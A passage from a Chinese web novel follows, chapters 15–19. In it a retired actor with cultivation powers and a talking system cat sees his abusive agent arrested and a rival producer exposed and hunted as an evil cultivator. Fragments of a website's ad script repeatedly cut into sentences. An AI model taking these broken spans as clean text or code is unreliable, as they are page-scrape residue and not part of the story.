刘梓旭懵了:“爷爷,我们就这么走了?” “不然呢?娱乐圈这么多人,我还怕找不到一个替代的?”他说的满是豁达,如果将脸上的懊悔惋惜遮掩会更有说服力。 以至于连一向屈从于他淫.威的刘梓旭都不禁吐槽:“真这么好找,您也不会来这里折磨我散心了……” “嘀咕什么呢?还不赶紧走?” 刘梓旭立刻道:“爷爷!来了!” 一老一小两人进了电梯上了酒店,陆时也随之收回了目光,也并没有多说什么,抱着猫就朝大门口走去。 反倒是系统猫有些不乐意了,用肉垫拍着陆时的手臂:“我说,你就这么走了?” 陆时垂眸:“你问的是什么?拒绝刘导的邀约还是那个冥器?” “两个都有。” “拒绝邀约很正常,既然决定退休,我就不会再去碰工作沾边的事。” 陆时手指点着系统猫的脑袋,缓缓说道:“至于不管冥器则更简单,如今的我只是陆时不是么?而普通人,不可能会破解这种妖异的东西。” 系统猫还想再说,陆时像是会读心术一样,直接回答道:“刘家时代积攒的福气悠远绵长,保刘梓旭一命是够了的。” “而且作为名门望族,不可能连法卫的联系方式都没有,再者说了,我又为什么要插手呢?” 他也不像是会日行一善的人吧? “好吧。” 得到想要答案的系统猫不再继续这个话题,而是问起了另一件事:“光凭柳文,真的能扳倒王康文吗?” 陆时看着系统,灰翳眸子有真切的疑惑:“嗯?你不是亲手参与了全程的环节么,为什么会有这种疑虑?” 系统猫辩解道:“我当然知道,可问题是,他没有证据啊……” “原来是这样。” 陆时笑了笑,却不回答,而是伸手把它的大脸盘子艰难地挤成了锥子脸,卖了个关子:“何不静候结果?序幕已经拉开,距离双方登台表演也不会太久。” 系统猫气地涨圆了脸:“陆时,你变了!你以前可不会这样,我问什么你就答什么的!” 但陆时却冷酷地对系统猫的控诉置若罔闻,泰然自若地转移了话题:“啊,到小区楼下了。” 系统猫不吃这招:“哈,你以为我英明神武的系统还会中你的计策,被你带偏吗?” “嗯,我记得这家早餐店的小笼包非常好吃,都是新鲜现 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 做的,用料扎实,皮薄馅大,一口下去,葱和肉香那叫一个浓郁……” “真的有你说的那么好吃吗?我要一笼!不,两笼!” 系统猫立刻将先前自己放出的豪言壮志抛之脑后,扒拉着从陆时怀里面站起来探头张望:“在哪儿?在哪儿?” 转移话题屡试不爽的陆时笑着应了:“在前面呢,我去给你买。” 然而就在他准备上前的时候,被一个不速之客拦住了前进的道路。 林彤一身干练的职业装,黑框眼镜下一双眼镜直勾勾盯着陆时,带着责问地语气质问道:“陆时你胆子大了啊,竟然连我的电话拉黑?” 系统猫立刻撇起了嘴:“怎么又是她啊!真是阴魂不散!陆时,你要不给她一点教训?” 陆时摇头拒绝:“没必要因为她导致一切布置前功尽弃。” “但是我好不爽啊。” “当她不存在就好了,毕竟她也猖狂不了多久了。” 陆时如此说,也如此去做。 他径直绕过了林彤走到摊位面前,连招牌都不用看,熟练地报起了菜名:“三笼小笼包,一包撒点点辣油跟醋,另外两个装在一起,撒点萝卜丁,都打包。” 老板是个和煦的中年人,应道:“好嘞!十八块!” 陆时刚拿出来钱包,突然一只手打了过来,但被陆时轻松避开。 但被忽视的林彤怒火更甚,竟直接将老板打包好的包子抢过丢在地上,并狠踩了两脚将一笼美味的包子踩的面目却非。 她仍是不解气,怒气冲冲道:“陆时,你再装一个聋子试试?” “我的包子!我靠!她怎么敢的啊!” 陆时终于将目光落在了她的身上。 林彤见状哼了一声,像是斗胜的公鸡,正要发表获胜感言,却被陆时打断:“所以你来找我,还是为了《丛林生存》的事?” 情绪被全部堵了回去,林彤深感憋屈,语气更加难听:“没错!陆时我告诉你,这个综艺你不想参加也得参加!” “识相点就赶紧给我滚回去收拾东西跟我去海城录节目!否则别怪我对你不客气!” 陆时还没有反应回应,系统猫就先气炸了:“看老子不挠死这个大放厥词的混蛋——” 然而陆时却按住了张牙舞爪地系统猫,说了句:“不用,交给我来,你的职责已经结束了,就负责看好戏吧。” “嗯?” 但在系统猫的期待目光注视中,陆时别说是出手,就连一句话都没说。 见状,林彤心中嚣张气焰更甚,狠剐了陆时一眼,恶狠狠威胁道:“陆时,你别忘了,你的合约可还到期!” “你如果不参加就是违约,我们可是能告你的!而且你必输无疑!一千万的违约金别说你去卖.身,就是卖肾都给不起!” “一千万么?我还真的给得起。” 林彤一愣:“你在说什么?” 陆时没有回她,而是看向她身后,只见四个黑衣保镖簇拥着一个高人的白人精英男快步走到他的面前,二话不说就将一个牛皮袋奉上。 在林彤懵逼和小笼包店老板的警惕目光注视下,慷慨激昂地说道:“陆时先生,终于找到您了!” “我们是您妈妈的表哥的三姨夫的……弟弟的儿子的遗产执行律师,他在临死前指名给您留了一笔遗产——存放于瑞士中央银行的五十万克黄金!请您在这里签字签收!” 16. 轻松解决 这话一出,小笼包店门口突然万籁俱静。 系统猫核心停转了有那么一秒才反应过来:“是主神的赈济款下来了!” 它欣喜说道:“哈!这下我看这个狗眼看人低的混蛋还怎么在你面前嚣张?” 得意忘形的样子活像是个小人得志的龙套。 陆时却并不认为这么简单就能解决。 “哈!遗嘱?瑞士中央银行?” 伴随着一声扯着嗓子的做作惊呼,林彤讥讽的大笑起来,打破了这份诡异的平静:“哈哈哈哈!陆时,我看你是脑残短剧看多了是吧?” “以为随便在路上找两个人来演戏就能唬的我给你认错赔礼道歉?” 她笑的眼角皱纹都在狂抖:“五十万克黄金,你知道那是多大一笔钱吗?” 回答这个问题的是律师,他一推眼镜,专业性十足地说道:“依照国内当前交易市场黄金最低价600元进行估算,合人民币三亿元。” “当然,我们这边建议您是保留或者兑换美元,后期升值幅度更大。” “牛皮也不怕吹破天!还升值呢,装的倒挺像是那么一回事!”林彤不耐打断:“我林彤阅人无数,像你这种拙劣的演技,我一眼就能看出无数破绽!” 她瞪了陆时一眼,走到白人律师面前,将人上下打量了一遍后,一扬下巴,神气无比地说道:“说吧,陆时给了你多少钱让你演这出戏?五百?一千?还是两千?!” “这位女士,我不知道你在说什么!” 律师深深地蹙紧了眉头,声音冷了下来:“第一,请不要再这里曲解我的身份,第二,请离我远点,否则,我将会拿起法律的武器维护属于我自己的权益!” “哈!你还挺敬业,这样吧,不管他出多少我出两倍,现在立刻马上带着你身边这群二流的演员滚出我的视野好吗?” 一时间,陆时都被交锋的二人暂时抛之脑后。 律师气得眉头青筋狂跳:“女士,你是不是听不懂华国话?那我用英语最后跟你说一遍——” “请立刻停止你对我身份的恶意曲解,这对我律师的荣耀与名誉造成了污蔑!” 然而林彤不闻不顾一样,直接伸手从兜里拿出一沓现金甩了甩:“这里有五万,够你们的车马费了吧?拿着它立刻滚!” 律师还没爆发,身后,他带着的保镖之一忍无可忍发出了怒吼:“我受不了了!我从没有见过这么蛮横无理还蠢的人!” 一旁全程围观的系统猫深表认同:“metoo。” 对方一米九的身高外加厚壮的肌肉冲击力十足,以至于林彤的嚣张气焰都被压下去一瞬! 却仍旧没有退缩,反而瞪着几人,威吓道:“你们想要干什么!” “我警告你们!这里可是在华国,我也不是一般人,你们这群外国佬给我老实点!” “你——” 林彤甚至甩了个挑衅地眼神:“你要是敢动我一根手指!我分分钟动用人脉送你们上热搜!让你们吃不了兜着走!” 系统猫整个统都傻眼了,它百思不得其解地问陆时:“她为什么非认为他们是在演戏?咱就是说,有没有一种可能相信一下呢?” 陆时淡然答道:“如果人真的能对自己所不能理解或者没有接触的人或事物,保持谦卑的态度,那么每年就不会有那么多人死于非命了。” “说好听点叫勇于探索,说难听点就叫……作死。” 与此同时,被屡次挑衅的律师终于不再忍耐。 “这是你逼我的!” 他没有和林彤争辩,因为他已经发现对方并不具备这种能力,而是直接拿起了手机拨通了一个电话:“请求协助……” 陆时终止了和系统的交流,道:“好了,事情该结束了。” “啊?结束了?我看怎么他们几个人被林彤一个人压制的节节败退呢?” 好奇的不止是系统猫一个人,事件主人公之一,林彤也充满了疑惑:“你以为打个电话就有用了?” 事实证明,还真的有用。 两分钟不到,一辆在附近执行巡逻任务的警车接到了上级指示全速赶到了事发地点。 从车上走下来的不是普通的警察,而是全副武装,真枪实弹的特警。 他们一下来,即便一言不发,强大的气势也深深震慑了众人,就连林彤都变得有所收敛。 这其中唯一没有受到影响便只有陆时,作为亲临过战场,经历无数场直导生死的厮杀,哪怕面对再强的威压他都能面色不改色。 只是因为他并不处于交锋的核心区,所以这个小小的异样没有被发觉。 带队的小队长姓黄,三十五六岁正值壮年,板着脸的时候不怒自威,一双虎目落在了律师身上:“我们接到上层协助,说有一个外国人遭到了纠缠,就是你?” 律师急忙点头:“警察先生,是我!” 他解释道:“我是一名光荣的遗产执行律师,此次来华国,就是为了完成我委托人的遗愿,将他财产中的一部分交由陆先生来继承。” 他边说边从皮包里面掏出了一张张文件,其中有中文的也有英文法文,吼吼一叠看得黄队长头晕眼花。 “然后呢?这跟你报警有什么关系?” 律师非常上道,伸手指着林彤,先一步控诉道:“这个女人一直在阻挠我履行工作职责,不仅用语言来中伤我的荣誉,还用行动来挑衅!” “这简直是莫大的侮辱!我请求你们立刻马上把她从我身边带走!” 林彤敏锐地察觉到情形变得不妙,慌忙解释道:“警官,你别听他瞎说,他就是一个演员,来这里演戏——” 却被厉声喝止。 黄队长说道:“你在说什么?他就是英国人没错,也的确是律师!遗嘱也是真的没错!” 林彤却依旧不肯相信,一句话脱口而出:“肯定是假的!伪造的!” “护照上的签证都写的明明白白!假的?你告诉我护照这东西怎么伪造?” 黄队长忍无可忍加重了声音,顿时,林彤像是鹌鹑一样缩了脖子不吱声了。 “我最后再问一遍,事情是不是真如这位英国的律师先生所说的一样?” 这次出面的是小笼包店铺的老板,他气愤地向黄队长控诉着林彤的所作所为:“我辛苦做好的小笼包就这么被她抢走踩碎了,简直有病一样!” 看着地上惨不忍睹的小笼包,黄队长彻底了然。 但在做出最终的决定之前,目光在周围巡视一圈,最后落在了陆时的身上:“你就是接收遗产的人?” 闻言,所有人的目光不约而同地投向陆时。 “是我。”陆时点头承认,没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有任何别扭:“有什么事么?” “没什么,只是看上面填的是外国银行,提醒你一句小心受骗,还有,记得不要偷税漏税。” 系统猫不爽地撇撇嘴:“怎么可能,主神虽然抠办事那是不用说,这笔钱绝对合法合规,而且不存在税务问题。” 陆时随便点头。 黄队长看出他的敷衍,也没有深究,他本来也只是例行提醒一句。 他严肃地转头看向林彤:“林彤林女士是吧?你阻碍别人正常工作、出言挑衅辱骂……” “还有损毁小笼包!” 系统猫和店老板异口同声地插嘴。 黄队长话锋一转,顺势加上:“嗯,还有损毁他人财物,你的行径已经违反治安条例,涉嫌寻衅滋事,跟我们回警局里面走一趟吧!” “什么?” 林彤还没反应过来,手已经被反剪到了身后拷上了手铐,她立刻瞪大了眼睛:“你们要对我做什么——” “有什么话回警局里录口供的时候再说吧!” 黄队长摆了摆手,车上走下来一个女警员将她押上了警车,大门一关,顿时世间清净。 黄队长在离开前对陆时说道:“你遗产领完了叫你律师过来一趟补充一下情况说明,用不了多久,耽误不了他回国。” 嗡。 陆时接住了他弹出来的卡片,只见上面用端正的字体写道:黄明宇,榕城特警支队大队长,地址…… 陆时点头,将其转交给了律师。 林彤被黄明宇带走后,世间像是彻底清净。 系统猫有一瞬地难以置信:“就这么把她带走了?” 陆时道:“不然呢?又不是网络上,谁闹谁惨谁有理。” 且不说林彤本身就有错在先,就是没有,在律师遵纪守法的情况下,她都是不占优势。 因为来着是客,主人需要牵就客人。 “所以你是放任她闹的,好收拾她?”系统猫眼里满是崇拜:“陆时你好棒。” 陆时摇头否认:“这倒不是,我本来是真的打算不管她的。” “为什么?” 陆时没有回,而是再重新向店老板点了一套小笼包后,找了一张桌子。接过了律师递过来的笔后,他直接扒拉到遗嘱最后一栏签名处。 系统猫震惊:“你就打算这么签了?” “不是你说的主神靠谱么?” 这会儿系统猫又不确信了:“呃,据我所知他大部分情况下都很靠谱,但万一……” 陆时打断它的乌鸦嘴:“没有万一。” 他签下了自己大名,律师怔愣一秒,但职业素养令他立刻浮现出笑容,恭贺道:“恭喜您完成遗嘱交接……” 系统猫也接受了这个事实,道:“这下好了,陆时你有了三个亿,那个狗屁条约还不轻轻松松就给摆平了?” “我可不打算给他们钱。” “嗯?” 陆时道:“你忘了吗,他们联手害我的债可还没还呢。” 说着,手机忽然传来了叮咚一声提示音,陆时顺着链接点进去一看,望着节节攀升的词条,笑了起来。 “说曹操曹操到,开始还账了。” 系统猫好奇凑上来,就见一则炸裂的消息登顶热搜:《震惊,内娱知名制作人王某文贩卖违禁药品》! 17. 大获全胜 陆时点进热搜词条,赫然出现在榜首的就是带有黄V认证的柳文账号发布的举报视频。 系统猫:“这就开始了?” 视频里,柳文举起了身份证,愤恨地看向镜头,声音哽咽:“我是演员柳文,我要向大家实名举报制作人王康文吸食违禁药品……” 他一开口,舆论直接爆炸,铺天盖地的问号挤满了屏幕。 “这是柳文?那个奶油小生?” “假的吧,他才三十五岁吧,怎么看起来比我爷爷还老啊!” “盗号?” “不可能吧!认证是真的!” “重点不是他说的内容吗?吸食违禁药品……” “那不就是毒吗?好家伙!” “@XX网警……” “王康文?那不是青果TV一直在推广的那部剧的制片人?他吸食,不可能吧?” “……” 这不是直播,再网友疑惑的发问中,柳文缓缓说道:“我有确凿的证据,那就是——我自己!” “在十七年前,刚刚获得选秀优胜出道的我遇到了王康文,当时我们一见如故,后来逐渐转为了挚交……” “我的事业得到了发展,我出演了《楚山传奇》等电视剧,成为一名小有名气的演员。然而当时的王康文只是一个寂寂无名的小制片人,他嫉妒我的成功,于是对我痛下了毒手!” “你们一定很好奇明明我只有三十多岁却变成这幅人不人鬼不鬼的样子?这就是答案!” “是王康文,他给我吸食了一种违禁药品!它夺走了我的容貌,健康,包括……寿命!” 柳文的声音陡然变得尖锐,脸上的神情也趋近癫狂:“医生说了!我已经活不过这个月了!” “这么多年来,为了保留最后一丝名声和体面,我隐退、躲藏,像一只卑贱的老鼠就换了这么一个结果!哈哈哈哈!姓王的,这一次,老子不忍了!” 他突然拿出了厚厚一叠文件递到了镜头前面大笑着说:“这些东西足够你被枪毙无数次了!我会全部把它交出去!” 说完,他就将手里的文件朝着镜头所在的位置扔了过来。 相机被砸倒,镜头对向天花板,也因此将飘落的文件悉数录了下来。 各种身体检查报告、路线图、以及偷拍的有关王康文的相片,他和男的、女的、高的、矮的勾搭的偷拍全部被记录了下来。 最后,镜头被照片遮盖失去了画面,黑暗中只有他笑得几乎变了腔调的诡异笑声持续,最后变成了一声抽泣:“哈哈哈哈哈哈——你毁了我,我也要拉你一起去死!” 咔。 播放结束的提示弹出,系统猫惊的久久没有合拢嘴,最后干巴地挤出一句:“他真牛逼。” 陆时道:“毕竟是拿了金奖的人。” 然而除了二人之外,所有刷到这个视频的人心里都翻起了惊涛骇浪—— #举报 #制作人吸食违禁品 #最后的哭声 #大料 …… 一时间,无数话题围绕着柳文的举报兴起,舆论彻底被引爆,人们迫切想要知道一个答案,柳文他说的到底是不是真的? 有人将信将疑:“假的吧?如果是真的直接报警不就行了?” 但旋即又被铺天盖地的回怼给压了过去。 “你没看视频里柳文变成什么样子了吗?那根本不是正常人该有的样子好吧!一定是用了什么药物!” “楼上的没看完视频吧?柳文不是都说了他掌握了密切的证据,这是要交给警方的意思吧!” “还有你们没有听到他最后一句话吗?我的妈呀,我听得整个人都毛骨悚然了!那就是被逼到了绝路的反应啊!” “我能理解柳文这种做饭,毕竟我当初被骗了钱,我也不想说出来,我怕别说说我蠢……当然大家一定不要学我!” “是啊!不然谁会用这种两败俱伤的方法啊?” “不管怎么样,按照柳文说的这已经触犯了法律了吧!警察呢?管一下啊!” “……” 随着声讨愈发汹涌的同时,酒店内,事件的另外一方当事人王康文也看完了视频! 王康文气得直接砸碎了手机,跳脚地怒骂道:“柳文!你个不知好歹的贱人,竟然敢威胁我,当初我就该——” “王制片?” 弱弱插进来的询问声立刻吸引了王康文的注意力,他猛地转头投去目光,吓得本就一脸慌张的谢安然更加惶恐:“这个柳文他说的都是假的吧?” 王康文毫不迟疑地点头:“当然是假的!我怎么会碰那种东西!这些都是污蔑!污蔑!是他嫉妒我,想要抹黑我的名声!” “我就知道……” 然而谢安然一口气还没松下来,手机上已经有了新的进展,他立刻道:“王制片!这个柳文又发文了!” “什么?!” 王康文急忙挤了过来瞪大眼看向手机,只见柳文又发了一条微博,这一次不是视频,而是一连串看似跟事情毫不相关的名字:李峰、刘冥…… 谢安然摸不着头脑:“王制片人,这些都是谁啊?” 却迟迟等不来回音,疑惑回头看去,就见王康文突然脸色骤变,低着头惶恐地低喃着:“怎么可能,他怎么可能全知道……” 细看之下,甚至多了几分不易察觉的慌张。 即便柳文发完了这几个名字之后就没有再说任何东西,但这显然抵挡不住好奇心重的网友。 不过几分钟不到,一个又一个名字的身份被扒了出来。 “李峰,选秀节目出道10086初选赛亚军……” “刘冥,北艺知名校草……” “……” 身份信息全部被披露之后,立刻就有人发现了其中的关联:“都是跟娱乐圈有关的!” 随即,更重要的问题也被摆上了台面:“柳文提他们干什么?”还有,“他们现在在哪儿呢?” 这个问题也很快得到了答案。 一个知名营销号打着“解答柳文举报背后提及神秘名字”开了直播。 直播里,面对无数观众的好奇,营销号没有卖关子,而是不急不缓地拿出了一叠相纸,然后依次排开铺满了整张桌子。 随后他拿起了固定在机位上拍摄的相机镜头,将其对准了桌面,当镜头聚焦完成的那一刻,数 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 十张与柳文几乎如出一辙的苍老面庞呈现在镜头之中,不可谓不震撼! 在简短的沉默过后,直播间爆炸性填满了问号。 “这些人难道说……” 营销号沉重地点头:“这些人,就是柳文那张名单上的人!” “他们所有人都有一个相同点,那就是曾在王康文的身边待过一段时间——” 话还没说完,直播就被掐断,众人还没反应过来营销号的账号已经变成了一个空号。 众人脑海中不约而同的地浮现了一个词——掩饰真相。 也正因如此,柳文举报王康文这间事情在半个小时不到就被彻底推上顶峰! 两分钟不到,官方就宣布发布正式通告,开始立案调查。 看到这条消息王康文气得又要砸碎谢安然的手机,但在此之前,酒店的大门突然被从外撞开! “王康文!举起手来!” “该死!” 王康文怒骂一声,一脸不耐烦地转过身,说道:“你们不会真的信了柳文的鬼话吧?这世界上如果真有能把他变成那样的违禁药物,那他也早就该吃死了!哪里还能活到现在?你们说是不是,警官……” 在看清来人的那一刻,王康文立刻瞪圆了眼睛:“你们不是警察?” “谁说我们是了?你说得对,药物做不到这些,但禁术可以!” 领头的壮汉皮笑肉不笑地道明了自己身份:“太玄司法位!王康文,你修炼吞灵邪功,残害无辜民众!速速束手就擒同我上三司会审!” 在王康文惊恐的注视下,他抽出了一柄闪着灵光的大刀:“密教的人让他给溜了老子正一肚子火,结果有这么一个惊喜在这里等着!” “太玄司!不好!” 王康文回过神来拔腿就逃,只是有一个人比他更快,咣的一声窗户被撞碎,一个少年从空中飞了进来,一个飞扑就将王康文死死地按在了地上! “榛子,干得好!”壮汉夸了少年一句,然后抓住了王康文的衣领将人提了起来! “想跑?门都没有!带走!” “不、不要!” 王康文拼命挣扎却是无果,忽然瞥见一旁吓傻了的谢安然,像是看到救命稻草一般拼命道:“你!救我出来!男二,不,男主,不!你要什么角色我都给你……” 他还没等到对方的回应就被一记手刀打晕了过去,如梦初醒的谢安然立刻就想要跟上去,然而对方已经消失在走廊,还没开始去找,就被怒气冲冲赶上来的酒店安保人员按在地上! “损坏酒店财物!今天你不赔钱!这件事没完!” “……” 网络上乱作一团,而正常事件的策划者却在家里悠哉地吃完了早餐,躺在沙发上撸猫。 “王康文就这么完了?我还以为你要当着他的面前表演个灵力外放,然后吓傻了的他跪在你脚下给你磕头求你大人有大量放过他。” “少看点网络短剧吧。” 陆时无语道:“我没看人下跪那么无聊的爱好。” 系统猫大赞,道明了来去:“陆时你脑瓜子还是一如既往地好使,只让我捏造了一个不存在的营销号,就促成了这一切——” 18. 其中内情 系统猫的马屁并没有令陆时动容,他抬起手掌,灵光在他掌心涌动。 “我并没有像你说的那般算无遗策,只是沾了这一身修为和你的光。” 他淡淡解释来自己所做的一切:“收集证据、发起冲锋的是柳文。虚构出一个查无此人的营销号,卖力带节奏,并伪装成被封禁将这波浪潮推上最搞点的是你。而最后出手抓住王康文,令他覆灭的人则是太玄司的人。” “非要说我做了什么,大概只是找到柳文,免除他的后顾之忧。” “以及用神识给太玄司法卫脑海中,埋入了一个有关于王康文所修禁咒的暗示,以至于他们在刷到手机上新闻的第一时间发觉其邪修身份吧。” 然而面对夸赞,系统猫却不知谦逊为何物,非常受用。 “你是我老板嘞,我当然要帮你啦!” 它又问起了另外一个在意的话题:“对了,姓王的暂时解决掉了,剩下几个呢?” “你的极品亲戚,还有给你下药的经纪人和公司呢?你打算怎么处置?” “你说他们啊。” 陆时并没有再卖关子,直接道出自己打算:“欢都娱乐偷税漏税的证据我恰巧有,回来的时候,已经顺手提交上去了。” “你不是演员吗?怎么会有这个?这不是财务会有的东西么?” 陆时谈起这个也觉得好笑,耸了耸肩,道:“也正因为我是演员,他们才忘了我大学所学的专业正好是金融。” “所以在我去报销、领工资的时候,他们不止一次地留我一个人在财务室,而且太放心,电脑也不关。” 系统猫惊呼道:“这不是把耗子放进米缸吗?”脸上浮现出幸灾乐祸的表情:“那他们会有什么下场?老板会去坐牢吗?” 陆时淡然道:“那就得看看他们是否愿意割肉了,历年来逃脱的税款外加上滞纳金和罚金……” 略微一思索,陆时说了一个精准的区间:“4亿左右,误差正负一千万。” “四个亿……” 这略带熟悉的数字令系统猫忽然想起了陆时在病房时跟林彤的交谈,它倏地睁大了猫眼:“不会吧?” 陆时点头,亲身佐证了它心中的猜想:“嗯,这本来是我打算用来和欢都娱乐谈判解除经济合约的底牌。如果没有发生我被下药中招,然后去元初界打了八百年工的那件事情的话。” 系统猫难以置信:“那当时如果林彤真给你四千万的话?” “那就一笔勾销,自此桥归桥路归路。” 他本来也是想以此挣一笔养老金退休用。 只不过在发现自己带了一点元初界土特产回来之后,这种好费心力的方法自然而然就被他舍弃了。 警局。 林彤在联系了欢都娱乐法务部的律师,缴纳了一大笔赔偿之后,成功再次获得自由。 走出警局的那一刻,感受着新鲜空气和阳光,林彤非但没有怀念,反而愈发气愤。 她攥紧了拳头:“陆时!竟敢算计我!我绝对不会放过他!” 林彤拿起了手机就要联系公司的公关部,不惜一切的代价整死陆时,然而刚打开微信却只看到了满屏的红点。 全部来自她同行,有关心问有没有事的,有打探情况,更有对家来冷嘲热讽的。 在警局缺失第一手资料的林彤陷入了蒙圈:“什么鬼?” 正准备去找人问的时候,瞌睡了有人给送枕头,公司老总给她打来了电话。 林彤正了正神色,恭敬迎接:“总经理,您有什么事要吩咐……” 然而等来的却是劈头盖脸的谩骂! “林彤,你知道老子这一次他妈损失了多少钱吗!好几个亿!完了!这么多年的努力全完了!你这个经纪人他妈的是怎么当的?陆时手里怎么会有那种东西!” 林彤被彻底骂懵了:“什么?好几个亿?总经理!怎么会有这么大的损失?”又想起了他提及的熟悉名字,忐忑问道:“这根陆时有什么关系?” 电话一默,旋即爆发出更强劲的责骂—— “自己滚去看微博热搜!看完你如果拿不出一个让我满意的解决方法,我饶不了你!” 啪。 电话挂断。 望着黑屏的手机,林彤心中忽然有了莫大的惶恐,颤巍巍点开微博,映入演练的热搜词条震碎了她的所有理智! #王康文吸度 #王康文被捕 #独品的危害 #柳文控诉 …… #欢都娱乐偷税漏税 #欢都娱乐举报 林彤点开最后一条词条,映入眼帘的是一个围观群众所拍摄的欢都娱乐办公大楼。 然而画面里,七八两印有税局样式的车冲进大院,还没挺稳车门就打开,穿戴整齐的干员就拿起了执法记录仪飞速朝着楼上冲去。 画面一转,变成了欢都娱乐公司,镜头外没拍到的办公室内能清晰听见干员们高喊:“税局查账,双手离开键盘,交出财务U盘!” “我们接到实名举报,你们涉嫌偷税漏税高达1亿五千万,坦白从宽抗拒从严!” “……” 再结合先前电话里欢都娱乐老总所提及的陆时,林彤立刻也想到了昨天在病房里的一幕,他提出的那几乎狮子大张口和笃定自己会答应的神情,在此刻也有了解释! 啪的一声,因为震惊,手机脱手再次砸在地上。 林彤如梦初醒,立刻捡起就去拨打陆时电话,然而听筒中自始至终传来的都是无法接通的忙音。 一旁的律师察觉到不对,关切地问:“林姐,怎么……” 还没说完就已经被焦急的打断:“带我去榕城新寓!” “至于我的好叔叔一家啊……” 陆时继续说:“暂时不急,我那好表哥在局子里一天,他就会一天心急如焚。” 他补充道:“我那个好婶婶也不是个好相处的,等他们先斗一场再分个高下再收拾他们也不迟。” 听着陆时的安排,系统猫嘀咕道:“总感觉有点不够解气,就这么放过他们了,尤其是那个王康文。” 陆时颔首,认同它的说法:“如果他真的像一个普通人得到罪有应得的判罚,我的确会就此放过他。” 他的唇角浮现出一抹无奈的笑容。 “只不过,看来他并不想。” 系统猫瞪大眼:“嗯?” 陆时打开手机,将刚刚刷到一则偷录的巷口视频放给系统猫看,只见在医院曾经见过的几个太玄司的法卫正押着反剪了双手的王康文朝着一辆全地形越野车走去。 忽然,一阵烟红的迷雾袭来,他们还没来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得及喊出警戒,所有人就已经栽在了地上。 烟雾很快散去,而在跌倒的人群之中,则正好少了被他们刚刚羁押的对象,王康文。 系统猫凭借着极强的分析能力立刻看出了原因所在:“有人把他劫走了!” “可为什么?” 陆时解答了他心底的疑惑:“你忘了他修的功法了么?” “你不是说那只是最普通的采集寿元的法子吗?” “这方法是常见,但,给王康文这个功法的人,可不常见,古往今来,跟钱财权色任意一项搭边的东西,都不会简单。” 陆时总结道:“大概……是为了封口吧。” “封口!那不是说王康文死定了?”惊讶过后,系统猫一拍猫爪:“这是好事啊!他死了,你的仇也报了,还不用脏了你的手!” 陆时伸手摸了摸乐观的系统猫脑袋,无奈地说道:“不一定。走吧,看事情是否真如你说的那样。” 他将系统猫揣进了怀里,准备出门,却拉开的是阳台的窗户。 流光一闪,他的身影已经消失不见。 与此同时,郊区外,废弃的机械工厂。 伴随着嘎吱一声,生锈的大门被拉开,被惯性甩在墙壁上发出咣的一声,一路上低着脑袋被带着走的男人吓得一个激灵。 而其所抬起的脸,不是别人,正是王康文! 他自太玄司法卫手里逃脱后一刻也不敢停歇地开始逃亡,直到进了这处工厂才敢大口喘气,缓解几乎要爆炸的肺部。 然而这时,前方传来冷冷地责问声:“你个蠢货!知道自己扯了多大篓子吗?” 王康文慌忙抬头看向前方救了自己、并一路引领自己来这里的人。 那是一个披着宽大斗篷的人,声音经过特殊处理,令人分不清男女。 加上此时带着怒火,在这幽邃昏暗的厂房内部显得更为渗人可怕。 王康文腿脚一软,很没骨气地跪了下来求饶道:“求令使大人饶命!” 令使、黑衣斗篷人冷哼一声,不客气地道:“如果不是看在你为尊主的大业付出良多的份上,我就该直接当场结果了你彻底封口!” 王康文更加害怕,身体抖若筛糠。 但那令使最终没有继续发作下去,而是命令道:“你就给我老老实实呆在这里,没有我的命令哪儿也不许去!我去给你整出的烂摊子收尾!” 王康文点头如捣蒜。 黑衣人没有多留,很快离开,然而他一走,谨小慎微的王康文却又换了一副嘴脸。 飞快从地上爬起来,给自己找了一处舒服的椅子坐下,不忿道:“哼!算他们有良心!没忘了所谓的密教从一个不入流的组织发展到今天,离不开我的牵线搭桥,真敢不来救我,就别怪我全给抖出来!” 骂咧咧一通仍旧没有解气,王康文从兜里掏啊掏,竟然掏出了一面镜子,他小心翼翼打开,左照右看,竟然做一副陶醉状。 “真是好完美的一张脸,不怪我耗费那么大心力竭力维持!” 说到这里,王康文充满了怨恨:“柳文那个蠢货知道我的厉害,他要真有胆也不会忍到今天,一定有人撺掇他!不要让我知道这个混蛋是谁,否则我就……” 狠话还没放完,身后,已经传来了冷淡的低吟。 “你就要什么?” 19. 罪有应得 “谁?” 王康文猛地回头看去,惊慌爬满了他的整张脸。 然而当他看到从黑暗中缓步走出的人影时,他先是一愣:“你是……陆时?” 随即慌张全消,取而代之的则是怒火:“你怎么会在这里!” 最后一句声音陡然拔高,因为太过狰狞显得有些破音,王康文自己没有察觉。 他此刻正沉浸在落魄模样被人发现、尤其这人前几天刚给他后脑上开了个瓢,本就有血仇在。 此刻新仇加旧恨,他竟将陆时当成了撒气对象,迁怒于他! “你竟然还敢出现在我面前?” 他全然没有注意到,陆时未抱猫而垂落在身侧的手掌上闪动着的流光,忘我的大笑着:“不过这样也好!正好老子今天的肉果还没有着落!” “就拿你来填我这个损失!” 陆时撇了眼他脸上遮掩不住的狠意,神情愈冷。 而他怀里的系统猫识相地后腿一蹬从他的怀中跳到肩头,为他空出了手掌的同时,朝王康文投去了一个幸灾乐祸的眼神:“死到临头还敢肖想陆时?真是兰□□青蛙,长得丑玩的花!” 王康文大惊:“猫,会说话?妖……” 话还没说完,陆时已经出手了。 他身形一闪消失在原地,王康文还没反应过来,陆时就已经出现在他面前,而后好不拖泥带水的一掌拍在他的胸口之上。 “什……啊!” 灵气入体的那一刹那,一改在陆时手里的无害,化作一柄钢刀,在一瞬之间就通过血管脉络席卷全身! 王康文疼得五官错位,爆发出堪称凄厉的惨叫声,整个人在地上打滚,哪里还有半点往日那个温文尔雅的制作人模样? “陆时!你对我做了什么!啊!是药?还是毒!不管是什么,赶紧给我解开!否则我绝不会饶恕你——” 嚣张的气焰只持续了片刻不到,就因为感知到体内的变化,猛地捂住了小腹,腔调骤变,惶恐、震惊、难以置信以及恳求! “不!我的丹田!不能去!快停下!” 